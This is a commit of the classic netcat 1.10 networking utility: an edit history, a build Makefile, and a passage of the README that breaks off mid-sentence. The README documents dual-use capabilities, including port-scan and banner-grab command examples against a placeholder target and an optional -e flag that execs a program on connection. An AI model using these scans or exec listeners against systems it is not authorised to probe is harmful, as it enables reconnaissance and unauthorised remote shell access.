*Hobbit*'s netcat 1.10
This commit is contained in:
commit
5086ba1ade
|
@ -0,0 +1,109 @@
|
||||||
|
Here is sort of an edit history for netcat, in forward cron order.
|
||||||
|
|
||||||
|
950915 or so
|
||||||
|
basic gethostpoop and doconnect layout established
|
||||||
|
950920 or so
|
||||||
|
timeout handlers, improvements to gethostpoop, read-stdin-args,
|
||||||
|
primitive select loop, and later the stdin-to-many saved-count thing
|
||||||
|
950923
|
||||||
|
select loop is firm, connect and i/o works nicely
|
||||||
|
added listen mode
|
||||||
|
crocked in UDP and debugged how its back-connect works
|
||||||
|
950927
|
||||||
|
unsnarled main a fair amount
|
||||||
|
got "udptest" working right
|
||||||
|
added HELP!! yow.
|
||||||
|
951003
|
||||||
|
added exec-a-prog thing
|
||||||
|
cleaned up routine-header comments
|
||||||
|
signal catcher
|
||||||
|
close stdin when we won't need it [-z, etc]
|
||||||
|
951004
|
||||||
|
getportpoop
|
||||||
|
inbound options hexdump finally works [forgot to preload "size" int]
|
||||||
|
951005 or so
|
||||||
|
added random mode, which necessitated more main() logic cleanups
|
||||||
|
951008
|
||||||
|
hammered out exit-status stuff, final main() argv loop cleanup
|
||||||
|
massive readme cleanup pre-1.00 release
|
||||||
|
951010
|
||||||
|
almost-1.00 release up for FTP, but not announced yet
|
||||||
|
added a couple of wrapper scripts
|
||||||
|
951012 -- 1.00
|
||||||
|
nc100 RELEASE, mailing-list spam, etc etc
|
||||||
|
951021
|
||||||
|
doc tweak per cgull
|
||||||
|
webproxy/webrelay scripts came together. fuckin' yow.
|
||||||
|
951023
|
||||||
|
added indication of *local* address in dolisten() connect handling
|
||||||
|
reset errno before dolisten msgs -- gethostpoop might have munged it
|
||||||
|
951028 -- 1.01
|
||||||
|
fixed exit status if -z on a single port -- was -1, is now 0 or 1
|
||||||
|
like it should be
|
||||||
|
951029
|
||||||
|
put "sent/rcvd" typeout more places, still only if -v -v
|
||||||
|
Doc fix: It's *David* Borman, not Paul [aka Mr. Environment
|
||||||
|
Variables, this month...]
|
||||||
|
951106 -- 1.02
|
||||||
|
added h_errno strings and updated holler, gethostpoop to find them
|
||||||
|
Still slightly confused if gethostpoop() returns prematurely...
|
||||||
|
951107
|
||||||
|
sys/select.h for them what needs it
|
||||||
|
wrote_txt and more calls to print sent/rcvd
|
||||||
|
951110
|
||||||
|
try rnd-options, but setsockopt tosses them. Punt...
|
||||||
|
dumped "x.y" microtiming idea; seconds are granular enough for now
|
||||||
|
tweaked help text
|
||||||
|
951113 -- 1.03
|
||||||
|
added first-net-read skip to select loop if we have saved stdin, and
|
||||||
|
moved retry-count test ahead of this. Makes multimode work much more
|
||||||
|
sensibly...
|
||||||
|
fleshed out this here edit history
|
||||||
|
951204 -- 1.04
|
||||||
|
fixed duplication lameness with printing h_errno stuff
|
||||||
|
951215
|
||||||
|
improved data.c; added xfer count and %r
|
||||||
|
951217
|
||||||
|
rservice.c, an answer to mudge's k-rad script
|
||||||
|
951227
|
||||||
|
port data.c to msloss, it might be useful
|
||||||
|
some doc slogging; particularly the telnet-wrapper idea
|
||||||
|
960120 -- 1.05
|
||||||
|
give totals even if we ^C out [that's what sigcatchers are *for*!]
|
||||||
|
cleaned up big LSRR explanation comment
|
||||||
|
960131 -- 1.06
|
||||||
|
flushed rndoption stuff
|
||||||
|
report of closing stdin fucking up Solaris. Not tried yet.
|
||||||
|
extra arg to rservice.c
|
||||||
|
documentation updates, added netcat-art and many udder tings
|
||||||
|
added Bela Lubkin's #ifdefs for SIGURG [SCO rel 5]
|
||||||
|
added ignoring SIGPIPE [lesson learned from webs.c]
|
||||||
|
960201
|
||||||
|
genned up some more data dumps: pmap-mnt.d, showmount.d,
|
||||||
|
various others; into real tree
|
||||||
|
960217 -- 1.07
|
||||||
|
finally fixed stdin-read-args thing to retain and send leftover data
|
||||||
|
added version to help text
|
||||||
|
made ascii-art cuter
|
||||||
|
added "probe" script
|
||||||
|
added Nextstep systype
|
||||||
|
finally fixed data.c to run "forever"
|
||||||
|
created xor.c
|
||||||
|
960223 -- 1.08
|
||||||
|
if doconnect skt is 0 grab another one, don't dup(). [stupid solaris..]
|
||||||
|
threw in latest web scripts
|
||||||
|
threw in irc
|
||||||
|
more doc tweaks
|
||||||
|
stuck 1.08 prerelease up for FTP
|
||||||
|
960227
|
||||||
|
hexdump in -- it's actually gonna be quite useful!
|
||||||
|
doc adds for hexdump; orig idea from dgaudet@wired
|
||||||
|
960229 -- 1.09
|
||||||
|
telnet-opts responder in; left as OPTIONAL chunk since it mucks
|
||||||
|
with the data stream.
|
||||||
|
-e disables -o hexdump; avoid zero-length file turds
|
||||||
|
960310 -- 1.09a goddamnit-I'm-gonna-release-REAL-soon
|
||||||
|
made -e work outbound, too
|
||||||
|
random final cleanups and doc updates ... pant pant ...
|
||||||
|
960320 -- 1.10
|
||||||
|
RELEASE version tested everywhere I could get to, up for FTP
|
|
@ -0,0 +1,122 @@
|
||||||
|
# makefile for netcat, based off same ol' "generic makefile".
|
||||||
|
# Usually do "make systype" -- if your systype isn't defined, try "generic"
|
||||||
|
# or something else that most closely matches, see where it goes wrong, fix
|
||||||
|
# it, and MAIL THE DIFFS back to Hobbit.
|
||||||
|
|
||||||
|
### PREDEFINES
|
||||||
|
|
||||||
|
# DEFAULTS, possibly overridden by <systype> recursive call:
|
||||||
|
# pick gcc if you'd rather , and/or do -g instead of -O if debugging
|
||||||
|
# debugging
|
||||||
|
# DFLAGS = -DTEST -DDEBUG
|
||||||
|
CFLAGS = -O
|
||||||
|
XFLAGS = # xtra cflags, set by systype targets
|
||||||
|
XLIBS = # xtra libs if necessary?
|
||||||
|
# -Bstatic for sunos, -static for gcc, etc. You want this, trust me.
|
||||||
|
STATIC =
|
||||||
|
CC = cc $(CFLAGS)
|
||||||
|
LD = $(CC) -s # linker; defaults to stripped executables
|
||||||
|
o = o # object extension
|
||||||
|
|
||||||
|
ALL = nc
|
||||||
|
|
||||||
|
### BOGON-CATCHERS
|
||||||
|
|
||||||
|
bogus:
|
||||||
|
@echo "Usage: make <systype> [options]"
|
||||||
|
|
||||||
|
### HARD TARGETS
|
||||||
|
|
||||||
|
nc: netcat.c
|
||||||
|
$(LD) $(DFLAGS) $(XFLAGS) $(STATIC) -o nc netcat.c $(XLIBS)
|
||||||
|
|
||||||
|
nc-dos:
|
||||||
|
@echo "DOS?! Maybe someday, but not now"
|
||||||
|
|
||||||
|
### SYSTYPES -- in the same order as in generic.h, please
|
||||||
|
|
||||||
|
# designed for msc and nmake, but easy to change for your compiler.
|
||||||
|
# Recursive make may fail if you're short on memory -- u-fix!
|
||||||
|
# Note special hard-target and "quotes" instead of 'quotes' ...
|
||||||
|
dos:
|
||||||
|
$(MAKE) -e $(ALL)-dos $(MFLAGS) CC="cl /nologo" XLIBS= \
|
||||||
|
XFLAGS="/AS -D__MSDOS__ -DMSDOS" o=obj
|
||||||
|
|
||||||
|
ultrix:
|
||||||
|
make -e $(ALL) $(MFLAGS) XFLAGS='-DULTRIX'
|
||||||
|
|
||||||
|
# you may need XLIBS='-lresolv -l44bsd' if you have BIND 4.9.x
|
||||||
|
sunos:
|
||||||
|
make -e $(ALL) $(MFLAGS) XFLAGS='-DSUNOS' STATIC=-Bstatic \
|
||||||
|
XLIBS='-lresolv'
|
||||||
|
|
||||||
|
# Pick this one ahead of "solaris" if you actually have the nonshared
|
||||||
|
# libraries [lib*.a] on your machine. By default, the Sun twits don't ship
|
||||||
|
# or install them, forcing you to use shared libs for any network apps.
|
||||||
|
# Kludged for gcc, which many regard as the only thing available.
|
||||||
|
solaris-static:
|
||||||
|
make -e $(ALL) $(MFLAGS) XFLAGS='-DSYSV=4 -D__svr4__ -DSOLARIS' \
|
||||||
|
CC=gcc STATIC=-static XLIBS='-lnsl -lsocket -lresolv'
|
||||||
|
|
||||||
|
# the more usual shared-lib version...
|
||||||
|
solaris:
|
||||||
|
make -e $(ALL) $(MFLAGS) XFLAGS='-DSYSV=4 -D__svr4__ -DSOLARIS' \
|
||||||
|
CC=gcc STATIC= XLIBS='-lnsl -lsocket -lresolv'
|
||||||
|
|
||||||
|
aix:
|
||||||
|
make -e $(ALL) $(MFLAGS) XFLAGS='-DAIX'
|
||||||
|
|
||||||
|
linux:
|
||||||
|
make -e $(ALL) $(MFLAGS) XFLAGS='-DLINUX' STATIC=-static
|
||||||
|
|
||||||
|
# irix 5.2, dunno 'bout earlier versions. If STATIC='-non_shared' doesn't
|
||||||
|
# work for you, null it out and yell at SGI for their STUPID default
|
||||||
|
# of apparently not installing /usr/lib/nonshared/*. Sheesh.
|
||||||
|
irix:
|
||||||
|
make -e $(ALL) $(MFLAGS) XFLAGS='-DIRIX -DSYSV=4 -D__svr4__' \
|
||||||
|
STATIC=-non_shared
|
||||||
|
|
||||||
|
osf:
|
||||||
|
make -e $(ALL) $(MFLAGS) XFLAGS='-DOSF' STATIC=-non_shared
|
||||||
|
|
||||||
|
# virtually the same as netbsd/bsd44lite/whatever
|
||||||
|
freebsd:
|
||||||
|
make -e $(ALL) $(MFLAGS) XFLAGS='-DFREEBSD' STATIC=-static
|
||||||
|
|
||||||
|
bsdi:
|
||||||
|
make -e $(ALL) $(MFLAGS) XFLAGS='-DBSDI' STATIC=-Bstatic
|
||||||
|
|
||||||
|
netbsd:
|
||||||
|
make -e $(ALL) $(MFLAGS) XFLAGS='-DNETBSD' STATIC=-static
|
||||||
|
|
||||||
|
# finally got to an hpux box, which turns out to be *really* warped.
|
||||||
|
# STATIC here means "linker subprocess gets args '-a archive'" which causes
|
||||||
|
# /lib/libc.a to be searched ahead of '-a shared', or /lib/libc.sl.
|
||||||
|
hpux:
|
||||||
|
make -e $(ALL) $(MFLAGS) XFLAGS='-DHPUX' STATIC="-Wl,-a,archive"
|
||||||
|
|
||||||
|
# unixware from bmc@telebase.com; apparently no static because of the
|
||||||
|
# same idiotic lack of link libraries
|
||||||
|
unixware:
|
||||||
|
make -e $(ALL) $(MFLAGS) XFLAGS='-DUNIXWARE -DSYSV=4 -D__svr4__' \
|
||||||
|
STATIC= XLIBS='-L/usr/lib -lnsl -lsocket -lresolv'
|
||||||
|
|
||||||
|
# from Declan Rieb at sandia, for a/ux 3.1.1 [also suggests using gcc]:
|
||||||
|
aux:
|
||||||
|
make -e $(ALL) $(MFLAGS) XFLAGS='-DAUX' STATIC=-static CC=gcc
|
||||||
|
|
||||||
|
# Nexstep from mudge: NeXT cc is really old gcc
|
||||||
|
next:
|
||||||
|
make -e $(ALL) $(MFLAGS) XFLAGS='-DNEXT' STATIC=-Bstatic
|
||||||
|
|
||||||
|
# start with this for a new architecture, and see what breaks.
|
||||||
|
generic:
|
||||||
|
make -e $(ALL) $(MFLAGS) XFLAGS='-DGENERIC' STATIC=
|
||||||
|
|
||||||
|
# Still at large: dgux dynix ???
|
||||||
|
|
||||||
|
### RANDOM
|
||||||
|
|
||||||
|
clean:
|
||||||
|
rm -f $(ALL) *.o *.obj
|
||||||
|
|
|
@ -0,0 +1,946 @@
|
||||||
|
Netcat 1.10
|
||||||
|
=========== /\_/\
|
||||||
|
/ 0 0 \
|
||||||
|
Netcat is a simple Unix utility which reads and writes data ====v====
|
||||||
|
across network connections, using TCP or UDP protocol. \ W /
|
||||||
|
It is designed to be a reliable "back-end" tool that can | | _
|
||||||
|
be used directly or easily driven by other programs and / ___ \ /
|
||||||
|
scripts. At the same time, it is a feature-rich network / / \ \ |
|
||||||
|
debugging and exploration tool, since it can create almost (((-----)))-'
|
||||||
|
any kind of connection you would need and has several /
|
||||||
|
interesting built-in capabilities. Netcat, or "nc" as the ( ___
|
||||||
|
actual program is named, should have been supplied long ago \__.=|___E
|
||||||
|
as another one of those cryptic but standard Unix tools. /
|
||||||
|
|
||||||
|
In the simplest usage, "nc host port" creates a TCP connection to the given
|
||||||
|
port on the given target host. Your standard input is then sent to the host,
|
||||||
|
and anything that comes back across the connection is sent to your standard
|
||||||
|
output. This continues indefinitely, until the network side of the connection
|
||||||
|
shuts down. Note that this behavior is different from most other applications
|
||||||
|
which shut everything down and exit after an end-of-file on the standard input.
|
||||||
|
|
||||||
|
Netcat can also function as a server, by listening for inbound connections
|
||||||
|
on arbitrary ports and then doing the same reading and writing. With minor
|
||||||
|
limitations, netcat doesn't really care if it runs in "client" or "server"
|
||||||
|
mode -- it still shovels data back and forth until there isn't any more left.
|
||||||
|
In either mode, shutdown can be forced after a configurable time of inactivity
|
||||||
|
on the network side.
|
||||||
|
|
||||||
|
And it can do this via UDP too, so netcat is possibly the "udp telnet-like"
|
||||||
|
application you always wanted for testing your UDP-mode servers. UDP, as the
|
||||||
|
"U" implies, gives less reliable data transmission than TCP connections and
|
||||||
|
some systems may have trouble sending large amounts of data that way, but it's
|
||||||
|
still a useful capability to have.
|
||||||
|
|
||||||
|
You may be asking "why not just use telnet to connect to arbitrary ports?"
|
||||||
|
Valid question, and here are some reasons. Telnet has the "standard input
|
||||||
|
EOF" problem, so one must introduce calculated delays in driving scripts to
|
||||||
|
allow network output to finish. This is the main reason netcat stays running
|
||||||
|
until the *network* side closes. Telnet also will not transfer arbitrary
|
||||||
|
binary data, because certain characters are interpreted as telnet options and
|
||||||
|
are thus removed from the data stream. Telnet also emits some of its
|
||||||
|
diagnostic messages to standard output, where netcat keeps such things
|
||||||
|
religiously separated from its *output* and will never modify any of the real
|
||||||
|
data in transit unless you *really* want it to. And of course telnet is
|
||||||
|
incapable of listening for inbound connections, or using UDP instead. Netcat
|
||||||
|
doesn't have any of these limitations, is much smaller and faster than telnet,
|
||||||
|
and has many other advantages.
|
||||||
|
|
||||||
|
Some of netcat's major features are:
|
||||||
|
|
||||||
|
Outbound or inbound connections, TCP or UDP, to or from any ports
|
||||||
|
Full DNS forward/reverse checking, with appropriate warnings
|
||||||
|
Ability to use any local source port
|
||||||
|
Ability to use any locally-configured network source address
|
||||||
|
Built-in port-scanning capabilities, with randomizer
|
||||||
|
Built-in loose source-routing capability
|
||||||
|
Can read command line arguments from standard input
|
||||||
|
Slow-send mode, one line every N seconds
|
||||||
|
Hex dump of transmitted and received data
|
||||||
|
Optional ability to let another program service established connections
|
||||||
|
Optional telnet-options responder
|
||||||
|
|
||||||
|
Efforts have been made to have netcat "do the right thing" in all its various
|
||||||
|
modes. If you believe that it is doing the wrong thing under whatever
|
||||||
|
circumstances, please notify me and tell me how you think it should behave.
|
||||||
|
If netcat is not able to do some task you think up, minor tweaks to the code
|
||||||
|
will probably fix that. It provides a basic and easily-modified template for
|
||||||
|
writing other network applications, and I certainly encourage people to make
|
||||||
|
custom mods and send in any improvements they make to it. This is the second
|
||||||
|
release; the overall differences from 1.00 are relatively minor and have mostly
|
||||||
|
to do with portability and bugfixes. Many people provided greatly appreciated
|
||||||
|
fixes and comments on the 1.00 release. Continued feedback from the Internet
|
||||||
|
community is always welcome!
|
||||||
|
|
||||||
|
Netcat is entirely my own creation, although plenty of other code was used as
|
||||||
|
examples. It is freely given away to the Internet community in the hope that
|
||||||
|
it will be useful, with no restrictions except giving credit where it is due.
|
||||||
|
No GPLs, Berkeley copyrights or any of that nonsense. The author assumes NO
|
||||||
|
responsibility for how anyone uses it. If netcat makes you rich somehow and
|
||||||
|
you're feeling generous, mail me a check. If you are affiliated in any way
|
||||||
|
with Microsoft Network, get a life. Always ski in control. Comments,
|
||||||
|
questions, and patches to hobbit@avian.org.
|
||||||
|
|
||||||
|
Building
|
||||||
|
========
|
||||||
|
|
||||||
|
Compiling is fairly straightforward. Examine the Makefile for a SYSTYPE that
|
||||||
|
matches yours, and do "make <systype>". The executable "nc" should appear.
|
||||||
|
If there is no relevant SYSTYPE section, try "generic". If you create new
|
||||||
|
sections for generic.h and Makefile to support another platform, please follow
|
||||||
|
the given format and mail back the diffs.
|
||||||
|
|
||||||
|
There are a couple of other settable #defines in netcat.c, which you can
|
||||||
|
include as DFLAGS="-DTHIS -DTHAT" to your "make" invocation without having to
|
||||||
|
edit the Makefile. See the following discussions for what they are and do.
|
||||||
|
|
||||||
|
If you want to link against the resolver library on SunOS [recommended] and
|
||||||
|
you have BIND 4.9.x, you may need to change XLIBS=-lresolv in the Makefile to
|
||||||
|
XLIBS="-lresolv -l44bsd".
|
||||||
|
|
||||||
|
Linux sys/time.h does not really support presetting of FD_SETSIZE; a harmless
|
||||||
|
warning is issued.
|
||||||
|
|
||||||
|
Some systems may warn about pointer types for signal(). No problem, though.
|
||||||
|
|
||||||
|
Exploration of features
|
||||||
|
=======================
|
||||||
|
|
||||||
|
Where to begin? Netcat is at the same time so simple and versatile, it's like
|
||||||
|
trying to describe everything you can do with your Swiss Army knife. This will
|
||||||
|
go over the basics; you should also read the usage examples and notes later on
|
||||||
|
which may give you even more ideas about what this sort of tool is good for.
|
||||||
|
|
||||||
|
If no command arguments are given at all, netcat asks for them, reads a line
|
||||||
|
from standard input, and breaks it up into arguments internally. This can be
|
||||||
|
useful when driving netcat from certain types of scripts, with the side effect
|
||||||
|
of hiding your command line arguments from "ps" displays.
|
||||||
|
|
||||||
|
The host argument can be a name or IP address. If -n is specified, netcat
|
||||||
|
will only accept numeric IP addresses and do no DNS lookups for anything. If
|
||||||
|
-n is not given and -v is turned on, netcat will do a full forward and reverse
|
||||||
|
name and address lookup for the host, and warn you about the all-too-common
|
||||||
|
problem of mismatched names in the DNS. This often takes a little longer for
|
||||||
|
connection setup, but is useful to know about. There are circumstances under
|
||||||
|
which this can *save* time, such as when you want to know the name for some IP
|
||||||
|
address and also connect there. Netcat will just tell you all about it, saving
|
||||||
|
the manual steps of looking up the hostname yourself. Normally mismatch-
|
||||||
|
checking is case-insensitive per the DNS spec, but you can define ANAL at
|
||||||
|
compile time to make it case-sensitive -- sometimes useful for uncovering minor
|
||||||
|
errors in your own DNS files while poking around your networks.
|
||||||
|
|
||||||
|
A port argument is required for outbound connections, and can be numeric or a
|
||||||
|
name as listed in /etc/services. If -n is specified, only numeric arguments
|
||||||
|
are valid. Special syntax and/or more than one port argument cause different
|
||||||
|
behavior -- see details below about port-scanning.
|
||||||
|
|
||||||
|
The -v switch controls the verbosity level of messages sent to standard error.
|
||||||
|
You will probably want to run netcat most of the time with -v turned on, so you
|
||||||
|
can see info about the connections it is trying to make. You will probably
|
||||||
|
also want to give a smallish -w argument, which limits the time spent trying to
|
||||||
|
make a connection. I usually alias "nc" to "nc -v -w 3", which makes it
|
||||||
|
function just about the same for things I would otherwise use telnet to do.
|
||||||
|
The timeout is easily changed by a subsequent -w argument which overrides the
|
||||||
|
earlier one. Specifying -v more than once makes diagnostic output MORE
|
||||||
|
verbose. If -v is not specified at all, netcat silently does its work unless
|
||||||
|
some error happens, whereupon it describes the error and exits with a nonzero
|
||||||
|
status. Refused network connections are generally NOT considered to be errors,
|
||||||
|
unless you only asked for a single TCP port and it was refused.
|
||||||
|
|
||||||
|
Note that -w also sets the network inactivity timeout. This does not have any
|
||||||
|
effect until standard input closes, but then if nothing further arrives from
|
||||||
|
the network in the next <timeout> seconds, netcat tries to read the net once
|
||||||
|
more for good measure, and then closes and exits. There are a lot of network
|
||||||
|
services now that accept a small amount of input and return a large amount of
|
||||||
|
output, such as Gopher and Web servers, which is the main reason netcat was
|
||||||
|
written to "block" on the network staying open rather than standard input.
|
||||||
|
Handling the timeout this way gives uniform behavior with network servers that
|
||||||
|
*don't* close by themselves until told to.
|
||||||
|
|
||||||
|
UDP connections are opened instead of TCP when -u is specified. These aren't
|
||||||
|
really "connections" per se since UDP is a connectionless protocol, although
|
||||||
|
netcat does internally use the "connected UDP socket" mechanism that most
|
||||||
|
kernels support. Although netcat claims that an outgoing UDP connection is
|
||||||
|
"open" immediately, no data is sent until something is read from standard
|
||||||
|
input. Only thereafter is it possible to determine whether there really is a
|
||||||
|
UDP server on the other end, and often you just can't tell. Most UDP protocols
|
||||||
|
use timeouts and retries to do their thing and in many cases won't bother
|
||||||
|
answering at all, so you should specify a timeout and hope for the best. You
|
||||||
|
will get more out of UDP connections if standard input is fed from a source
|
||||||
|
of data that looks like various kinds of server requests.
|
||||||
|
|
||||||
|
To obtain a hex dump file of the data sent either way, use "-o logfile". The
|
||||||
|
dump lines begin with "<" or ">" to respectively indicate "from the net" or
|
||||||
|
"to the net", and contain the total count per direction, and hex and ascii
|
||||||
|
representations of the traffic. Capturing a hex dump naturally slows netcat
|
||||||
|
down a bit, so don't use it where speed is critical.
|
||||||
|
|
||||||
|
Netcat can bind to any local port, subject to privilege restrictions and ports
|
||||||
|
that are already in use. It is also possible to use a specific local network
|
||||||
|
source address if it is that of a network interface on your machine. [Note:
|
||||||
|
this does not work correctly on all platforms.] Use "-p portarg" to grab a
|
||||||
|
specific local port, and "-s ip-addr" or "-s name" to have that be your source
|
||||||
|
IP address. This is often referred to as "anchoring the socket". Root users
|
||||||
|
can grab any unused source port including the "reserved" ones less than 1024.
|
||||||
|
Absence of -p will bind to whatever unused port the system gives you, just like
|
||||||
|
any other normal client connection, unless you use -r [see below].
|
||||||
|
|
||||||
|
Listen mode will cause netcat to wait for an inbound connection, and then the
|
||||||
|
same data transfer happens. Thus, you can do "nc -l -p 1234 < filename" and
|
||||||
|
when someone else connects to your port 1234, the file is sent to them whether
|
||||||
|
they wanted it or not. Listen mode is generally used along with a local port
|
||||||
|
argument -- this is required for UDP mode, while TCP mode can have the system
|
||||||
|
assign one and tell you what it is if -v is turned on. If you specify a target
|
||||||
|
host and optional port in listen mode, netcat will accept an inbound connection
|
||||||
|
only from that host and if you specify one, only from that foreign source port.
|
||||||
|
In verbose mode you'll be informed about the inbound connection, including what
|
||||||
|
address and port it came from, and since listening on "any" applies to several
|
||||||
|
possibilities, which address it came *to* on your end. If the system supports
|
||||||
|
IP socket options, netcat will attempt to retrieve any such options from an
|
||||||
|
inbound connection and print them out in hex.
|
||||||
|
|
||||||
|
If netcat is compiled with -DGAPING_SECURITY_HOLE, the -e argument specifies
|
||||||
|
a program to exec after making or receiving a successful connection. In the
|
||||||
|
listening mode, this works similarly to "inetd" but only for a single instance.
|
||||||
|
Use with GREAT CARE. This piece of the code is normally not enabled; if you
|
||||||
|
know what you're doing, have fun. This hack also works in UDP mode. Note that
|
||||||
|
you can only supply -e with the name of the program, but no arguments. If you
|
||||||
|
want to launch something with an argument list, write a two-line wrapper script
|
||||||
|
or just use inetd like always.
|
||||||
|
|
||||||
|
If netcat is compiled with -DTELNET, the -t argument enables it to respond
|
||||||
|
to telnet option negotiation [always in the negative, i.e. DONT or WONT].
|
||||||
|
This allows it to connect to a telnetd and get past the initial negotiation
|
||||||
|
far enough to get a login prompt from the server. Since this feature has
|
||||||
|
the potential to modify the data stream, it is not enabled by default. You
|
||||||
|
have to understand why you might need this and turn on the #define yourself.
|
||||||
|
|
||||||
|
Data from the network connection is always delivered to standard output as
|
||||||
|
efficiently as possible, using large 8K reads and writes. Standard input is
|
||||||
|
normally sent to the net the same way, but the -i switch specifies an "interval
|
||||||
|
time" which slows this down considerably. Standard input is still read in
|
||||||
|
large batches, but netcat then tries to find where line breaks exist and sends
|
||||||
|
one line every interval time. Note that if standard input is a terminal, data
|
||||||
|
is already read line by line, so unless you make the -i interval rather long,
|
||||||
|
what you type will go out at a fairly normal rate. -i is really designed
|
||||||
|
for use when you want to "measure out" what is read from files or pipes.
|
||||||
|
|
||||||
|
Port-scanning is a popular method for exploring what's out there. Netcat
|
||||||
|
accepts its commands with options first, then the target host, and everything
|
||||||
|
thereafter is interpreted as port names or numbers, or ranges of ports in M-N
|
||||||
|
syntax. CAVEAT: some port names in /etc/services contain hyphens -- netcat
|
||||||
|
currently will not correctly parse those, so specify ranges using numbers if
|
||||||
|
you can. If more than one port is thus specified, netcat connects to *all* of
|
||||||
|
them, sending the same batch of data from standard input [up to 8K worth] to
|
||||||
|
each one that is successfully connected to. Specifying multiple ports also
|
||||||
|
suppresses diagnostic messages about refused connections, unless -v is
|
||||||
|
specified twice for "more verbosity". This way you normally get notified only
|
||||||
|
about genuinely open connections. Example: "nc -v -w 2 -z target 20-30" will
|
||||||
|
try connecting to every port between 20 and 30 [inclusive] at the target, and
|
||||||
|
will likely inform you about an FTP server, telnet server, and mailer along the
|
||||||
|
way. The -z switch prevents sending any data to a TCP connection and very
|
||||||
|
limited probe data to a UDP connection, and is thus useful as a fast scanning
|
||||||
|
mode just to see what ports the target is listening on. To limit scanning
|
||||||
|
speed if desired, -i will insert a delay between each port probe. There are
|
||||||
|
some pitfalls with regard to UDP scanning, described later, but in general it
|
||||||
|
works well.
|
||||||
|
|
||||||
|
For each range of ports specified, scanning is normally done downward within
|
||||||
|
that range. If the -r switch is used, scanning hops randomly around within
|
||||||
|
that range and reports open ports as it finds them. [If you want them listed
|
||||||
|
in order regardless, pipe standard error through "sort"...] In addition, if
|
||||||
|
random mode is in effect, the local source ports are also randomized. This
|
||||||
|
prevents netcat from exhibiting any kind of regular pattern in its scanning.
|
||||||
|
You can exert fairly fine control over your scan by judicious use of -r and
|
||||||
|
selected port ranges to cover. If you use -r for a single connection, the
|
||||||
|
source port will have a random value above 8192, rather than the next one the
|
||||||
|
kernel would have assigned you. Note that selecting a specific local port
|
||||||
|
with -p overrides any local-port randomization.
|
||||||
|
|
||||||
|
Many people are interested in testing network connectivity using IP source
|
||||||
|
routing, even if it's only to make sure their own firewalls are blocking
|
||||||
|
source-routed packets. On systems that support it, the -g switch can be used
|
||||||
|
multiple times [up to 8] to construct a loose-source-routed path for your
|
||||||
|
connection, and the -G argument positions the "hop pointer" within the list.
|
||||||
|
If your network allows source-routed traffic in and out, you can test
|
||||||
|
connectivity to your own services via remote points in the internet. Note that
|
||||||
|
although newer BSD-flavor telnets also have source-routing capability, it isn't
|
||||||
|
clearly documented and the command syntax is somewhat clumsy. Netcat's
|
||||||
|
handling of "-g" is modeled after "traceroute".
|
||||||
|
|
||||||
|
Netcat tries its best to behave just like "cat". It currently does nothing to
|
||||||
|
terminal input modes, and does no end-of-line conversion. Standard input from
|
||||||
|
a terminal is read line by line with normal editing characters in effect. You
|
||||||
|
can freely suspend out of an interactive connection and resume. ^C or whatever
|
||||||
|
your interrupt character is will make netcat close the network connection and
|
||||||
|
exit. A switch to place the terminal in raw mode has been considered, but so
|
||||||
|
far has not been necessary. You can send raw binary data by reading it out of
|
||||||
|
a file or piping from another program, so more meaningful effort would be spent
|
||||||
|
writing an appropriate front-end driver.
|
||||||
|
|
||||||
|
Netcat is not an "arbitrary packet generator", but the ability to talk to raw
|
||||||
|
sockets and/or nit/bpf/dlpi may appear at some point. Such things are clearly
|
||||||
|
useful; I refer you to Darren Reed's excellent ip_filter package, which now
|
||||||
|
includes a tool to construct and send raw packets with any contents you want.
|
||||||
|
|
||||||
|
Example uses -- the light side
|
||||||
|
==============================
|
||||||
|
|
||||||
|
Again, this is a very partial list of possibilities, but it may get you to
|
||||||
|
think up more applications for netcat. Driving netcat with simple shell or
|
||||||
|
expect scripts is an easy and flexible way to do fairly complex tasks,
|
||||||
|
especially if you're not into coding network tools in C. My coding isn't
|
||||||
|
particularly strong either [although undoubtedly better after writing this
|
||||||
|
thing!], so I tend to construct bare-metal tools like this that I can trivially
|
||||||
|
plug into other applications. Netcat doubles as a teaching tool -- one can
|
||||||
|
learn a great deal about more complex network protocols by trying to simulate
|
||||||
|
them through raw connections!
|
||||||
|
|
||||||
|
An example of netcat as a backend for something else is the shell-script
|
||||||
|
Web browser, which simply asks for the relevant parts of a URL and pipes
|
||||||
|
"GET /what/ever" into a netcat connection to the server. I used to do this
|
||||||
|
with telnet, and had to use calculated sleep times and other stupidity to
|
||||||
|
kludge around telnet's limitations. Netcat guarantees that I get the whole
|
||||||
|
page, and since it transfers all the data unmodified, I can even pull down
|
||||||
|
binary image files and display them elsewhere later. Some folks may find the
|
||||||
|
idea of a shell-script web browser silly and strange, but it starts up and
|
||||||
|
gets me my info a hell of a lot faster than a GUI browser and doesn't hide
|
||||||
|
any contents of links and forms and such. This is included, as scripts/web,
|
||||||
|
along with several other web-related examples.
|
||||||
|
|
||||||
|
Netcat is an obvious replacement for telnet as a tool for talking to daemons.
|
||||||
|
For example, it is easier to type "nc host 25", talk to someone's mailer, and
|
||||||
|
just ^C out than having to type ^]c or QUIT as telnet would require you to do.
|
||||||
|
You can quickly catalog the services on your network by telling netcat to
|
||||||
|
connect to well-known services and collect greetings, or at least scan for open
|
||||||
|
ports. You'll probably want to collect netcat's diagnostic messages in your
|
||||||
|
output files, so be sure to include standard error in the output using
|
||||||
|
`>& file' in *csh or `> file 2>&1' in bourne shell.
|
||||||
|
|
||||||
|
A scanning example: "echo QUIT | nc -v -w 5 target 20-250 500-600 5990-7000"
|
||||||
|
will inform you about a target's various well-known TCP servers, including
|
||||||
|
r-services, X, IRC, and maybe a few you didn't expect. Sending in QUIT and
|
||||||
|
using the timeout will almost guarantee that you see some kind of greeting or
|
||||||
|
error from each service, which usually indicates what it is and what version.
|
||||||
|
[Beware of the "chargen" port, though...] SATAN uses exactly this technique to
|
||||||
|
collect host information, and indeed some of the ideas herein were taken from
|
||||||
|
the SATAN backend tools. If you script this up to try every host in your
|
||||||
|
subnet space and just let it run, you will not only see all the services,
|
||||||
|
you'll find out about hosts that aren't correctly listed in your DNS. Then you
|
||||||
|
can compare new snapshots against old snapshots to see changes. For going
|
||||||
|
after particular services, a more intrusive example is in scripts/probe.
|
||||||
|
|
||||||
|
Netcat can be used as a simple data transfer agent, and it doesn't really
|
||||||
|
matter which end is the listener and which end is the client -- input at one
|
||||||
|
side arrives at the other side as output. It is helpful to start the listener
|
||||||
|
at the receiving side with no timeout specified, and then give the sending side
|
||||||
|
a small timeout. That way the listener stays listening until you contact it,
|
||||||
|
and after data stops flowing the client will time out, shut down, and take the
|
||||||
|
listener with it. Unless the intervening network is fraught with problems,
|
||||||
|
this should be completely reliable, and you can always increase the timeout. A
|
